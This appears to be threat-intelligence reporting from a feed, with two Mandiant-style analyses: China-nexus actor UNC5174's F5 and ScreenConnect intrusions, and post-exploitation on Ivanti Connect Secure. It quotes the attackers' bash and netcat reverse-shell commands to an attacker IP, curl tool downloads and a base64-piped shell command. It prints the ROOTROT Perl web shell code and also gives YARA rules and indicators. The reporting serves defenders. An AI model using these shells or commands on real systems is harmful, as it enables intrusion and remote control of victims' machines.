The SNOWLIGHT sample analyzed by Mandiant was configured to download an obfuscated executable that Mandiant has dubbed GOHEAVY from infrastructure related to SUPERSHELL administrators. This payload is then executed in-memory via the previously described memfd method. The resultant GOHEAVY process-related artifacts were observed on the compromised F5 appliance:

  • Process Name: memfd:a (deleted)
  • Path: empty (due to the executable being un-backed)
  • Args: ?
  • User: root

GOREVERSE is a publicly available reverse shell backdoor written in GoLang that operates over Secure Shell (SSH). Mandiant observed UNC5174 deploy GOREVERSE, which called back to C2 infrastructure we previously observed hosting the SUPERSHELL framework. SUPERSHELL is a publicly available C2 framework published on GitHub and used extensively in related infrastructure by the administrators of SUPERSHELL. 

Mandiant observed evidence of UNC5174 issuing commands to connect bash and netcat TCP reverse shells back to the same infrastructure hosting GOREVERSE and SUPERSHELL payloads on port 443.

Nov  2 07:16:15 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=admin folder=
/Common module=(tmos)# status=[Command OK] cmd_data=run util 
bash -c "bash -i /dev/tcp/172.104.124[.]74/443 0>&1 &"|

Table 4: UNC5174 command to download a bash web shell

Nov  2 07:30:37 localhost.localdomain notice icrd_child[18778]: 
01420002:5: AUDIT - pid=18778 user=admin folder=/Common 
module=(tmos)# status=[Command OK] cmd_data=run util bash 
-c "nc 172.104.124[.]74 443 -e /bin/bash &"

Table 5: UNC5174 command to download a netcat web shell

Internal Reconnaissance

Shell command history artifacts on the compromised F5 appliance recorded evidence of the threat actor downloading the file "/tmp/ss" from the same infrastructure hosting GOREVERSE and SUPERSHELL payloads, as well as GitHub, using the cURL command.

curl -o /tmp/ss hxxp://172.104.124[.]74/App-amd64linux-noupx
curl -o /tmp/ss hxxps://github[.]com/1n7erface/Template/releases
/download/v1.2.5/App-amd64linux-noupx

Table 6: UNC5174 command downloading unidentified additional tooling suspected of internal reconnaissance functionality

The file "/tmp/ss" was not recoverable at the time of analysis; however, the GitHub URL resource https://github.com/1n7erface/Template hosts a likely related network scanning and reconnaissance tool with Chinese-language instructions. Execution of "/tmp/ss" was recorded in shell history, and command-line arguments indicate the tool was likely used to scan internal subnet ranges from the compromised F5 appliance using the tool FSCAN.

./ss -i <Internal CIDR block>

Table 7: UNC5174 command to scan internal subnet ranges from compromised F5 appliances

GOHEAVY Tunneler: A Closer Look

UNC5174 employs a Golang-based tunneler tool named GOHEAVY, obfuscated using GOBFUSCATE for added stealth. This tool leverages the Gin framework to manage traffic routing functionalities. Mandiant observed GOHEAVY engaging in simultaneous communication with an external C2 server operated by SUPERSHELL administrators while opening and listening on a vast number of local UDP ports. Interestingly, GOHEAVY continuously broadcasts the string "SpotUdp" to existing network interfaces.

This behavior suggests the tool's purpose lies in establishing covert communication channels and potentially facilitating lateral movement within compromised networks. The continuous "SpotUdp" broadcast might serve as a beacon for identifying other compromised machines running GOHEAVY within the same network

In addition to GOHEAVY, Mandiant observed the presence of various other tools common in red teaming, including:

  • SLIVER client
  • FFUFP
  • SQLMAP
  • DIRBUSTER
  • METASPLOIT
  • AFROG penetration testing tool
  • NUCLEI vulnerability scanning templates

UNC5174 Closes the Door Behind Them

Mandiant observed an unusual behavior by UNC5174 following their initial access on the compromised appliance. After backdoor accounts were configured, they attempted to self-patch the vulnerability using an F5-provided mitigation script "mitigation.sh". Mandiant assesses that this was an attempt to limit subsequent exploitation of the system by additional unrelated threat actors attempting to access the appliance. The additional commands were observed during their initial access on the compromised appliance:

  • bash execution CVE-2023-46747 command run for account root6 from (HK) 61.239.68.73
  • 28/10 14:16:23 deleted user root6
  • 28/10 14:27:35: ran command cmd_data=run /util bash -c /root/mitigation.sh -u
  • 4/11/2023 03:36:30 /tmp/.del

UNC5174 Targets ScreenConnect Vulnerability

On Feb. 21, 2024, the actor "uteus" claimed in forum postings to have successfully exploited the vulnerability CVE-2024-1709 in ConnectWise ScreenConnect instances belonging to hundreds of organizations globally, primarily in the U.S. and Canada. 

Mandiant obtained the output of the actor's exploit, which showed the actor added the admin user "cvetest" to ScreenConnect instances belonging to numerous organizations. Mandiant has observed other threat actors similarly adding admin accounts at multiple victim organizations.  Mandiant was also able to confirm the compromise of several ScreenConnect instances and the presence of unauthorized users added by the uteus persona tracked as UNC5174. Mandiant assesses with moderate confidence the other organizations listed by uteus were also compromised.

Geographic distribution of UNC5174 ScreenConnect targeting

Figure 3: Geographic distribution of UNC5174 ScreenConnect targeting

Attribution

Mandiant has identified a new access operations group UNC5174 that uses the personas "Uteus" (alternate spelling "uetus") on underground forums, which we assess with moderate confidence operates from China. UNC5174 was linked with several hacktivist collectives including "Dawn Calvary" and "Genesis Day" prior to 2023 and has also claimed to be affiliated with the PRC MSS as an access broker and possible contractor who conducts for profit intrusions.

Chinese Hacktivists, UNC302, and UNC5174 Link to MSS Contractors

Mandiant assesses UNC5174 (aka Uteus) was previously a member of Chinese hacktivist collectives "Dawn Calvary" and has collaborated with "Genesis Day" / "Xiaoqiying" and "Teng Snake." This individual appears to have departed these groups in mid-2023 and has since focused on executing access operations with the intention of brokering access to compromised environments.

As part of our investigation, Mandiant identified key details that suggest UNC5174 may be an initial access broker acting as an MSS contractor. The actor claimed MSS affiliation in dark web forums, claiming tacit backing of an unspecified MSS-related APT actor. Additionally, the impacted organizations targeted by UNC5174, including U.S. defense and UK government entities, were targeted concurrently by distinct known MSS access brokers UNC302, which were previously indicted by the U.S. Department of Justice in 2020. 

On Oct. 10, 2023, Mandiant identified event logs suggesting unconfirmed exploitation of an F5 device IP address of several government entities. This activity was associated with the UNC5174 pseudonym "Uteus", which shared this purported access to a U.S. military contractor and UK government organization in an online communication. The same IP address targeted through the previously described CVE-2023-46747 exploitation appeared in communications from this access broker, claiming successful exploitation of Confluence vulnerability CVE-2023-22515. Details of the intrusion were discovered within communications on a dark web forum. The Uteus persona indicated they had utilized a public proof of concept to perform activities on compromised systems. Notably, Uteus is believed to be distinct from the entity "Xiaoqiying," which has independently claimed to not be employed by the Chinese Government in a Telegram channel operated by the group.

Telegram channel for Xiaoqiying claiming no employment with the Chinese government

Figure 4: Telegram channel for Xiaoqiying claiming no employment with the Chinese government

Based on these findings, Mandiant assesses with moderate confidence that Uteus represents an initial access broker persona for UNC5174, used to sell obtained access to compromised systems. While definitive connections cannot be established at this time, Mandiant highlights that there are similarities between UNC5174 and UNC302, which suggests they operate within an MSS initial access broker landscape. These similarities suggest possible shared exploits and operational priorities between these threat actors, although further investigation is required for definitive attribution.

Outlook and Implications

UNC5174 exploitation of CVE-2023-46747 as a N-day vulnerability in tandem with recent exploitation of Connectwise ScreenConnect vulnerability CVE-2024-1709 demonstrates PRC-related threat actors' systematized approach to achieving access to targets of strategic or political interest to the PRC. China-nexus actors continue to conduct vulnerability research on widely deployed edge appliances like F5 BIG-IP and ScreenConnect to enable espionage operations at scale. These operations often include rapid exploitation of recently disclosed vulnerabilities using custom or publicly available proof-of-concept exploits. UNC5174 and UNC302 operate within this model, and their operations provide insight into the initial access broker ecosystem leveraged by the MSS to target strategically interesting global organizations. Mandiant believes that UNC5174 will continue to pose a threat to organizations in the academic, NGO, and government sectors specifically in the United States, Canada, Southeast Asia, Hong Kong, and the United Kingdom.

Remediation and Hardening

Mandiant recommends performing the following remediation and hardening actions on impacted F5 appliances:

  • Restrict access to the F5 TMUI from the internet.
  • Immediately apply the F5 mitigation script published in [K000137353] to any vulnerable F5 appliances.
  • Investigate vulnerable F5 appliances for evidence of compromise.

In the event of F5 compromise:

  • Review appliance configurations for unauthorized modifications.
  • Review file system and operating system (OS) artifacts for evidence of privileged account creation and remove any unauthorized accounts.
  • Consider revoking and re-issuing sensitive cryptographic material such as certificates and private keys that may have been accessible to a threat actor.

For impacted ScreenConnect instances, Mandiant recommends that organizations with an on-premises controller read our latest ScreenConnect remediation and hardening guide.

Indicators of Compromise (IOCs)

Network IOCs

IP Address

ASN

NetBlock

Location

118.140.151[.]242 

9304

HGC Global Communications Limited

(HK)

61.239.68[.]73 

9269

Hong Kong Broadband Network Ltd.

(HK)

172.245.68[.]110

36352 

Colocrossing

(U.S.)

URLs

URL

Description

http://172.245.68[.]110:8888 

SUPERSHELL C2

Host IOCs

MD5 Hash

Filename

Type

Code Family

c867881c56698f938b4e8edafe76a09b

LG

ELF

SNOWLIGHT

df4603548b10211f0aa77d0e9a172438

N/A

ELF

SNOWLIGHT

0951109dd1be0d84a33d52c135ba9c97

N/A

ELF

SNOWLIGHT

9c3bf506dd19c08c0ed3af9c1708a770

memfd:a

ELF

N/A

0ba435460fb7622344eec28063274b8a

undefined

ELF

SNOWLIGHT

a78bf3d16349eba86719539ee8ef562d

N/A

ELF

SNOWLIGHT

Host Based Indicators (Commands)

cmd_data=run util bash -c "echo 
dG1zaCAtcSAtYyAnY2QgLztzaG93IHJ1bm5pbmctY29uZmlnIHJlY3Vyc2l2ZSc= 
| base64 -d | sh"  "tmsh -q -c 'cd /;show running-config recursive'"
run util bash -c "bash -i /dev/tcp/172.104.124.74/443 0>&1 &"

Detections

rule M_Backdoor_GOREVERSE_2
{
        meta:
                author = "Mandiant"
                description = "This rule is designed to detect events related 
to goreverse. GOREVERSE is a publicly available reverse shell"
                md5 = "5c175ea3664279d6c0c2609844de6949"
                platforms = "Windows,Linux,MacOS"
                malware_family = "GOREVERSE"
        strings:
                $cc_main_fork_amd64 = { 41 81 39 74 72 75 65 75 ?? 48 8B 
[5] 48 8B [5] 48 8B [5] 4C 8B [5] 48 8B [5] 48 8B [5-10] E8 [4] 48 8B }
                $cc_print_help_amd64 = { 48 8D 15 [4] 48 89 94 24 [4-16] 48 
8B 1D [4] 48 8D 05 [4-24] BF 03 00 00 00 48 89 FE [0-12] E8 }
                $cc_rssh = "rssh" fullword
                $cc_validate_dest_len = { 48 83 3D [4] 00 [1-24] 49 83 FC 01 
[1-24] 49 C1 E4 05 [1-64] 83 3D [4] 00 }
                $str1 = "--[foreground|fingerprint|proxy|process_name] 
-d|--destination <server_address>"
                $str2 = "-d or --destination Server connect back address 
(can be baked in)"
                $str3 = "--foreground Causes the client to run without 
forking to background"
                $str4 = "--fingerprint Server public key SHA256 hex 
fingerprint for auth"
                $str5 = "--proxy Location of HTTP connect proxy to use"
                $str6 = "--process_name Process name shown in 
tasklist/process list"
        condition:
                ( ((uint32(0) == 0xcafebabe) or (uint32(0) == 0xfeedface) 
or (uint32(0) == 0xfeedfacf) or (uint32(0) == 0xbebafeca) or (uint32(0) 
== 0xcefaedfe) or (uint32(0) == 0xcffaedfe)) or (uint16(0) == 0x5a4d 
and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) 
and (all of ($str*) or all of ($cc_*))
}

rule M_APT_Downloader_SNOWLIGHT_1 
{
        meta:
                author = "Mandiant"
                description = "This rule is designed to detect 
the SNOWLIGHT code family"
                md5 = "0951109dd1be0d84a33d52c135ba9c97"
                platforms = "Linux"
                malware_family = "SNOWLIGHT"
        strings:
                $xor99 = { 80 31 99 48 FF C1 89 CE 29 EE 39 C6 
7C F2 48 63 D2 48 89 EE 44 89 E7 }
                $memfdcreate = { BA 01 00 00 00 BE 3B 0B 40 
00 BF 3F 01 00 00 E8 8C FE FF FF }	
        condition:
                uint32(0) == 0x464c457f and all of them
}

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Name

A106-917

Application Vulnerability - F5 BIG-IP 17.1.0, CVE-2023-46747, Exploitation

A106-916

Application Vulnerability - F5 BIG-IP 17.1.0, CVE-2023-46747, User Authentication

A107-059

Application Vulnerability - CVE-2024-1708, Exploitation, Variant #1

A107-056

Application Vulnerability - CVE-2024-1709, Exploitation, Variant #1

MITRE ATT&CK

Mandiant has observed UNC5174 use the following techniques:

Initial Access

T1190

Exploit Public-Facing Application

Defense Evasion

T1027

Obfuscated Files or Information
 

T1070.004

File Deletion
 

T1140

Deobfuscate/Decode Files or Information
 

T1222.002

Linux and Mac File and Directory Permissions Modification
 

T1601.001

Patch System Image

Discovery

T1016

System Network Configuration Discovery
 

T1049

System Network Connections Discovery
 

T1082

System Information Discovery
 

T1083

File and Directory Discovery

Command and Control

T1095

Non-Application Layer Protocol
 

T1105

Ingress Tool Transfer
 

T1572

Protocol Tunneling
 

T1573.002

Asymmetric Cryptography

Execution

T1059

Command and Scripting Interpreter
 

T1059.004

Unix Shell

Persistence

T1136.001

Local Account

Impact

T1531

Account Access Removal

Credential Access

T1003.008

/etc/passwd and /etc/shadow

Resource Development

T1608.003

Install Digital Certificate


Mandiant has observed UNC302 use the following techniques:

Initial Access

T1133

External Remote Services
 

T1189

Drive-by Compromise
 

T1190

Exploit Public-Facing Application

Collection

T1213

Data from Information Repositories
 

T1560

Archive Collected Data
 

T1560.001

Archive via Utility

Persistence

T1505.003

Web Shell

Defense Evasion

T1027

Obfuscated Files or Information
 

T1036

Masquerading
 

T1070.004

File Deletion
 

T1112

Modify Registry
 

T1134

Access Token Manipulation
 

T1497

Virtualization/Sandbox Evasion

Impact

T1529

System Shutdown/Reboot

Execution

T1059.003

Windows Command Shell
 

T1059.005

Visual Basic
 

T1203

Exploitation for Client Execution

Discovery

T1012

Query Registry
 

T1016

System Network Configuration Discovery
 

T1057

Process Discovery
 

T1082

System Information Discovery
 

T1083

File and Directory Discovery
 

T1518

Software Discovery

Credential Access

T1003

OS Credential Dumping

Lateral Movement

T1021.001

Remote Desktop Protocol

Resource Development

T1583.003

Virtual Private Server
 

T1584

Compromise Infrastructure

Command and Control

T1071.001

Web Protocols
 

T1071.004

DNS
 

T1095

Non-Application Layer Protocol
]]> <![CDATA[Cutting Edge, Part 4: Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies]]> https://tsecurity.de/de/3578869/it-security-nachrichten/cutting-edge-part-4-ivanti-connect-secure-vpn-post-exploitation-lateral-movement-case-studies/ https://tsecurity.de/de/3578869/it-security-nachrichten/cutting-edge-part-4-ivanti-connect-secure-vpn-post-exploitation-lateral-movement-case-studies/ Sun, 07 Jun 2026 08:22:19 +0200 📰 IT Security Nachrichten tsecurity.de

Written by: Matt Lin, Austin Larsen, John Wolfram, Ashley Pearson, Josh Murchie, Lukasz Lamparski, Joseph Pisano, Ryan Hall, Ron Craft, Shawn Chew, Billy Wong, Tyler McLellan

 

Since the initial disclosure of CVE-2023-46805 and CVE-2024-21887 on Jan. 10, 2024, Mandiant has conducted multiple incident response engagements across a range of industry verticals and geographic regions. Mandiant's previous blog post, Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts, details zero-day exploitation of CVE-2024-21893 and CVE-2024-21887 by a suspected China-nexus espionage actor that Mandiant tracks as UNC5325. 

This blog post, as well as our previous reports detailing Ivanti exploitation, help to underscore the different types of activity that Mandiant has observed on vulnerable Ivanti Connect Secure appliances that were unpatched or did not have the appropriate mitigation applied. 

Mandiant has observed different types of post-exploitation activity across our incident response engagements, including lateral movement supported by the deployment of open-source tooling and custom malware families. In addition, we've seen these suspected China-nexus actors evolve their understanding of Ivanti Connect Secure by abusing appliance-specific functionality to achieve their objectives.

As of April 3, 2024, a patch is readily available for every supported version of Ivanti Connect Secure affected by the vulnerabilities. We recommend that customers follow Ivanti's latest patching guidance and instructions to prevent further exploitation activity. In addition, Ivanti released a new enhanced external integrity checker tool (ICT) to detect potential attempts of malware persistence across factory resets and system upgrades and other tactics, techniques, and procedures (TTPs) observed in the wild. We also released a remediation and hardening guide, which includes recommendations.

Mandiant recommends customers run both the internal and the latest external ICT released alongside a new patch on April 3, 2024, as part of a comprehensive defense-in-depth strategy. Mandiant would like to acknowledge Ivanti for their collaboration, transparency, and ongoing support throughout this process.

Clustering and Attribution

Mandiant is tracking multiple clusters of activity exploiting CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893 across our incident response investigations. In addition to suspected China-nexus espionage groups, Mandiant has also identified financially motivated actors exploiting CVE-2023-46805 and CVE-2024-21887, likely to enable operations such as crypto-mining. Since the public disclosure on Jan. 10, 2024, Mandiant has observed eight distinct clusters involved in the exploitation of one or more of these Ivanti CVEs. Of these, we are highlighting five China-nexus clusters that have conducted intrusions. 

In February 2024, Mandiant identified a cluster of activity tracked as UNC5291, which we assess with medium confidence to be Volt Typhoon, targeting U.S. energy and defense sectors. The UNC5291 campaign targeted Citrix Netscaler ADC in December 2023 and probed Ivanti Connect Secure appliances in mid-January 2024, however Mandiant has not directly observed Volt Typhoon successfully compromise Ivanti Connect Secure.

UNC5221

UNC5221 is a suspected China-nexus actor that Mandiant is tracking as the only group exploiting CVE-2023-46805 and CVE-2024-21887 during the pre-disclosure time frame since early Dec. 2023. As stated in our previous blog post, UNC5221 also conducted widespread exploitation of CVE-2023-46805 and CVE-2024-21887 following the public disclosure on Jan. 10, 2024.

UNC5266

Mandiant created UNC5266 to track post-disclosure exploitation leading to deployment of Bishop Fox's SLIVER implant framework, a WARPWIRE variant, and a new malware family that Mandiant has named TERRIBLETEA. At this time, based on observed infrastructure usage similarities, Mandiant suspects with moderate confidence that UNC5266 overlaps in part with UNC3569, a China-nexus espionage actor that has been observed exploiting vulnerabilities in Aspera Faspex, Microsoft Exchange, and Oracle Web Applications Desktop Integrator, among others, to gain initial access to target environments. 

UNC5330

UNC5330 is a suspected China-nexus espionage actor. UNC5330 has been observed chaining CVE-2024-21893 and CVE-2024-21887 to compromise Ivanti Connect Secure VPN appliances as early as Feb. 2024. Post-compromise activity by UNC5330 includes deployment of PHANTOMNET and TONERJAM. UNC5330 has employed Windows Management Instrumentation (WMI) to perform reconnaissance, move laterally, manipulate registry entries, and establish persistence.

Mandiant observed UNC5330 operating a server since Dec. 6, 2021, which the group used as a GOST proxy to help facilitate malicious tool deployment to endpoints. The default certificate for GOST proxy was observed from Sept. 1, 2022 through Jan. 1, 2024. UNC5330 also attempted to download Fast Reverse Proxy (FRP) from this server on Feb. 3, 2024, from a compromised Ivanti Connect Secure device. Given the SSH key reuse in conjunction with the temporal proximity of these events, Mandiant assesses with moderate confidence UNC5330 has been operating through this server since at least 2021. 

UNC5337

UNC5337 is a suspected China-nexus espionage actor that compromised Ivanti Connect Secure VPN appliances as early as Jan. 2024. UNC5337 is suspected to exploit CVE-2023-46805 (authentication bypass) and CVE-2024-21887 (command injection) for infecting Ivanti Connect Secure appliances. UNC5337 leveraged multiple custom malware families including the SPAWNSNAIL passive backdoor, SPAWNMOLE tunneler, SPAWNANT installer, and SPAWNSLOTH log tampering utility. Mandiant suspects with medium confidence that UNC5337 is UNC5221. 

UNC5291

UNC5291 is a cluster of targeted probing activity that we assess with moderate confidence is associated with UNC3236, also known publicly as Volt Typhoon. Activity for this cluster started in December 2023 focusing on Citrix Netscaler ADC and then shifted to focus on Ivanti Connect Secure devices after details were made public in mid-Jan. 2024. Probing has been observed against the academic, energy, defense, and health sectors, which aligns with past Volt Typhoon interest in critical infrastructure. In Feb. 2024, the Cybersecurity and Infrastructure Security Agency (CISA) released an advisory warning that Volt Typhoon was targeting critical infrastructure and was potentially interested in Ivanti Connect Secure devices for initial access.

New TTPs and Malware

Since our last blog on Ivanti exploitation, Mandiant has identified additional TTPs used by threat actors to gain access to target environments and move laterally within them. Additionally, Mandiant has identified several new code families leveraged by threat actors following the exploitation of Ivanti Connect Secure appliances. Of these code families, several are assessed to be custom malware families; however, Mandiant has also identified the use of open-source tooling, such as SLIVER and CrackMapExec.

SPAWN Malware Family

During analysis of an Ivanti Connect Secure appliance compromised by UNC5221, Mandiant discovered four distinct malware families that work closely together to create a stealthy and persistent backdoor on an infected appliance. Mandiant assesses that these malware families are designed to enable long-term access and avoid detection. 

Figure 1 illustrates how the SPAWN malware family operates.

SPAWN malware family diagram

Figure 1: SPAWN malware family diagram

SPAWNANT

SPAWNANT is an installer that leverages a coreboot installer function to establish persistence for the SPAWNMOLE tunneler and SPAWNSNAIL backdoor. It hijacks a legitimate dspkginstall installer process and exports an sprintf function adding a malicious code to it before redirecting a flow back to vsnprintf.

SPAWNMOLE

SPAWNMOLE is a tunneler that injects into the web process. It hijacks the accept function in the web process to monitor traffic and filter out malicious traffic originating from the attacker. The remainder of the benign traffic is passed unmodified to the legitimate web server functions. The malicious traffic is tunneled to a host provided by an attacker in the buffer. Mandiant assesses the attacker would most likely pass a local port where SPAWNSNAIL is operating to access the backdoor.

  • The malware attempts to inject itself into a process named web.

  • The malware attempts to hijack the accept API from the libc binary within web process.

  • The malware is specifically compiled as a PIE (Position Independent Executable) in order to use a third-party library for injection.

  • The malware traffic must start with a header that contains 0xfb49e3e2 at offset 0x13 and 0x1bc38361 at offset 0x1b of the received buffer.

SPAWNSNAIL

SPAWNSNAIL (libdsmeeting.so) is a backdoor that listens on localhost. It is designed to run by injecting into the dsmdm process (process responsible for supporting mobile device management features). It creates a backdoor by exposing a limited SSH server on localhost port 8300. We assess that the attacker uses the SPAWNMOLE tunneler to interact with SPAWNSNAIL.

SPAWNSNAIL's second purpose is to inject SPAWNSLOTH (.liblogblock.so) into dslogserver, a process supporting event logging on Connect Secure.

SPAWNSNAIL checks if its binary name is dsmdm; if it is running under that name, it creates two threads:

  1. First thread drops a hard-coded SSH host private key to /tmp/.dskey, configures libssh to use the key, and then deletes /tmp/.dskey. The malware binds to localhost on port 8300.

    1. The SSH server requires public key authentication.

    2. When starting an interactive shell session, the malware prints a banner with statistics about the system. It will print the information about the release, uptime, current time, and whether SELinux is enabled. SPAWNSNAIL then executes an interactive bash shell.

  2. The second thread injects a log tampering utility, SPAWNSLOTH (/tmp/.liblogblock.so), into the dslogserver process up to three times.

SPAWNSLOTH

SPAWNSLOTH is a log tampering utility injected into the dslogserver process. It can disable logging and disable log forwarding to an external syslog server when the SPAWNSNAIL backdoor is operating.

SPAWNSLOTH uses funchook to hook the _ZN5DSLog4File3addEPKci function (it is assumed to be a logging function of dslogserver). It also modifies the g_do_syslog_servers_exist_p symbol. This is a pointer to a global variable controlling if event logs should be forwarded to an external syslog server.

Finally, it uses interprocess communication via shared memory to communicate with the SPAWNSNAIL backdoor. SPAWNSLOTH only blocks logging when SPAWNSNAIL is running.

Getting to the Root of It

During the investigation of an Ivanti Connect Secure appliance compromised by UNC5221, Mandiant identified a new web shell we are tracking as ROOTROT. ROOTROT is a web shell written in Perl embedded into a legitimate Connect Secure .ttc file located at /data/runtime/tmp/tt/setcookie.thtml.ttc by exploiting CVE-2023-46805 and CVE-2024-21887. setcookie.thtml.ttc is located on a writable partition on the appliance, and the same file was abused in previous Pulse Connect Secure exploitation events involving CVE-2019-11539 and CVE-2020-8218.

Figure 2 shows the code inserted into the setcookie.thmtl.ttc file that contains ROOTROT. The web shell can be accessed at /dana-na/auth/setcookie.cgi. It parses the issued decoded Base64-encoded command and executes it with eval. 

   $output .=  "</body>\n\n</html>\n";
        $output .= "<!--\n";
        my $key = CGI::param('[REDACTED]');
        use MIME::Base64;
        if(defined($key)){
                my $arg=decode_base64("$key");
                eval($arg);
        }
        $output .= "-->\n";
        } };
        if ($@) {
            $error = $context->catch($@, \$output);
            die $error unless $error->type eq 'return';
        }
    
        return $output;
    },

Figure 2: Code block inserted into the setcookie.thtml.ttc file

During the investigation, Mandiant identified that the web shell was created on the system prior to the public disclosure of the associated CVEs on Jan. 10, 2024, indicating a more targeted attack. Defenders can detect the presence of ROOTROT by the existence of  <!--\n and -->\n at the end of the response from /dana-na/auth/setcookie.cgi. 

As of April 3, 2024, the latest external ICT will detect modifications to setcookie.thtml.ttc.

Lateral Movement Leading to vCenter Compromise

Once UNC5221 deployed ROOTROT on a Connect Secure appliance and established a foothold, they initiated network reconnaissance against the victim's network and moved laterally to a VMware vCenter server. Mandiant identified that UNC5221 first moved laterally using the vCenter web console, then later using SSH. 

After moving laterally to the vCenter server, UNC5221 created a new virtual machine three times in vCenter, utilizing a naming convention consistent with other servers in the environment. Though the virtual machine creation was successful, Mandiant did not identify evidence of UNC5221 successfully running or using the virtual machine.

Following this, UNC5221 accessed the vCenter appliance using SSH and downloaded the BRICKSTORM backdoor to the appliance (/home/vsphere-ui/vcli). Notably, BRICKSTORM appears to masquerade as a legitimate vCenter process, vami-http. 

BRICKSTORM

BRICKSTORM is a Go backdoor targeting VMware vCenter servers. It supports the ability to set itself up as a web server, perform file system and directory manipulation, perform file operations such as upload/download, run shell commands, and perform SOCKS relaying. BRICKSTORM communicates over WebSockets to a hard-coded C2.

Upon execution, BRICKSTORM checks for an environment variable, WRITE_LOG, to determine if the file needs to be executed as a child process. If the variable returns false or is unset, it will copy the BRICKSTORM sample from /home/vsphere-ui/vcli to /opt/vmware/sbin as vami-httpd. It will then execute the copied BRICKSTORM sample and terminate execution.

 If WRITE_LOG is set to true, it assumes it is running as the correct process, deletes /opt/vmware/sbin/vami-httpd, and continues execution.

BRICKSTORM contains a separate function called Watcher, which contains self-monitoring functionality. If the environment variable WORKER returns false or is unset, it will continue the monitoring, checking for the file /home/vsphere-ui/vcli and copying the contents over to /opt/vmware/sbin/vami-httpd. Then, it sets the appropriate environment variables and spawns the process. The watcher process then begins monitoring the exit status of the child process.

If it finds the environment variable WORKER is set to true, it assumes it is a spawned worker process meant to execute the backdoor functionality and skips the remainder of the Watcher function.

BRICKSTORM communicates with the C2 using WebSockets. This sample contains a hard-coded WebSocket address of  wss://opra1.oprawh.workers[.]dev. Additionally, it contains the following legitimate DNS over HTTPS (DoH) addresses.

https://9.9.9.9/dns-query
https://45.90.28.160/dns-query
https://45.90.30.160/dns-query
https://149.112.112.112/dns-query
https://9.9.9.11/dns-query
https://1.1.1.1/dns-query
https://1.0.0.1/dns-query
https://8.8.8.8/dns-query
https://8.8.4.4/dns-query

Figure 3: DNS over HTTPS addresses

BRICKSTORM appears to leverage a custom Go package called wssoft. There is no known, publicly available Go package with this name. It appears this may be the main package developed by the malware authors to perform task processing and connection handling for the malware.

Table 1 provides the four core functions provided by wssoft.

Function

Comments

Spawning a web server

See below for accepted routes/endpoints

Command execution

Executes shell commands using /bin/sh

Command execution (“NoContext”)

Executes shell commands using calls to os. Exec

likely accepts commands run_shell and exit

SOCKS relaying

Connection proxying

Table 1: wssoft capabilities

When the backdoor functionality is activated, it spawns a web server to handle incoming commands. It uses Gorilla/mux to handle the endpoint routing and lonnng/nex to marshal the data into JSON.

Table 2 provides the endpoints used for communications to the BRICKSTORM backdoor via POST requests.

Endpoint

Function

/api/file/change-dir

Change directory

/api/file/delete-dir

Deletes a directory

/api/file/delete-file

Deletes a file

/api/file/mkdir

Makes a directory (create subdirectories as necessary)

/api/file/list-dir

Lists directory contents

/api/file/rename

Renames a file

/api/file/put-file

File upload given a destination path, can optionally append to file

/api/file/get-file

File download

/api/file/slice-up

May upload large files in separate chunks

/api/file/file-md5

Calculates file MD5

/api/file/up

Uploads a file using a web form (includes SHA256 hashing)

/api/file/stat

Gets file information

Table 2: BRICKSTORM endpoints

Lateral Movement Leading to Active Directory Compromise

UNC5330 gained initial access to the victim environment by chaining together CVE-2024-21893 and CVE-2024-21887, a tactic outlined in Cutting Edge Part 3. Shortly after gaining access, UNC5330 leveraged an LDAP bind account configured on the compromised Ivanti Connect Secure appliance to abuse a vulnerable Windows Certificate Template, created a computer object, and requested a certificate for a domain administrator. The threat actor then impersonated the domain administrator to perform subsequent DCSyncs to extract additional credential material to move laterally.

Attack Path Diagram

UNC5330 attack path diagram

Figure 4: UNC5330 attack path diagram

Windows Certificate Template Abuse 

UNC5330 used the ldap-ivanti account, configured on the Ivanti appliance for LDAP bind operations, to create a domain computer object, testComputer$. UNC5330 used the newly created testComputer$ computer object to request a certificate from a vulnerable certificate template that provided enrollment rights to Domain Computers. UNC5330 requested a certificate for a domain administrator account, obtained a Kerberos TGT using the certificate, and performed DCSync attacks to obtain additional domain credentials for enabling lateral movement.

Once domain admin access was achieved, UNC5330 leveraged WMI to deploy the TONERJAM launcher and the PHANTOMNET backdoor.

WMI Event Consumers

WMI was used to perform lateral movement and establish persistence within the victim environment, primarily by creating and executing scheduled tasks that were subsequently removed. The ActiveScript event consumers performed the following:

  1. Created and registered a scheduled task with trigger type 7 (started the task upon registration) to execute command with cmd.exe.

  2. Wrote command output to a .log file in C:\Windows\Temp.

  3. Deleted the scheduled task.

The behavior, as well as the naming convention used for both the WMI artifacts and output files, is consistent with a recent version of CrackMapExec that implements DCE/RPC for WMI execution that does not rely on SMB. Mandiant observed this technique being used to deploy TONERJAM and PHANTOMNET.

TONERJAM

TONERJAM is a launcher that decrypts and executes a shellcode payload, in this case PHANTOMNET, stored as an encrypted local file and decrypts it using an AES key derived from a SHA hash of the final 16 bytes of the encrypted payload. TONERJAM maintains persistence via the Run registry key or by hijacking COM objects depending on the permissions granted to it upon execution.

PHANTOMNET

PHANTOMNET is a modular backdoor that communicates using a custom communication protocol over TCP. PHANTOMNET's core functionality involves expanding its capabilities through a plugin management system. The downloaded plugins are mapped directly into memory and executed.

SLIVER C2

During a separate intrusion, UNC5266 retrieved copies of SLIVER from a Python SimpleHTTP server hosted on the same IP address as the configured command-and-control server. The copies of SLIVER were placed in three separate locations on the compromised appliance, attempting to masquerade as legitimate system files. UNC5266 modified a systemd service file to register one of the copies of SLIVER as a persistent daemon.

Path

Description

/home/bin/netmon

SLIVER

/home/bin/logd

SLIVER

/home/runtime/logd

SLIVER

/home/config/logd.spec.cfg

systemd service unit configuration file

Table 3: SLIVER components

Additionally, UNC5266 leveraged a WARPWIRE variant previously reported in Cutting Edge, Part 2. This variant was downloaded by UNC5266 from what Mandiant believes to be a compromised web server located in Rwanda. See Figure 18 in the Cutting Edge Part 2 blog for details on the WARPWIRE variant.

TERRIBLETEA

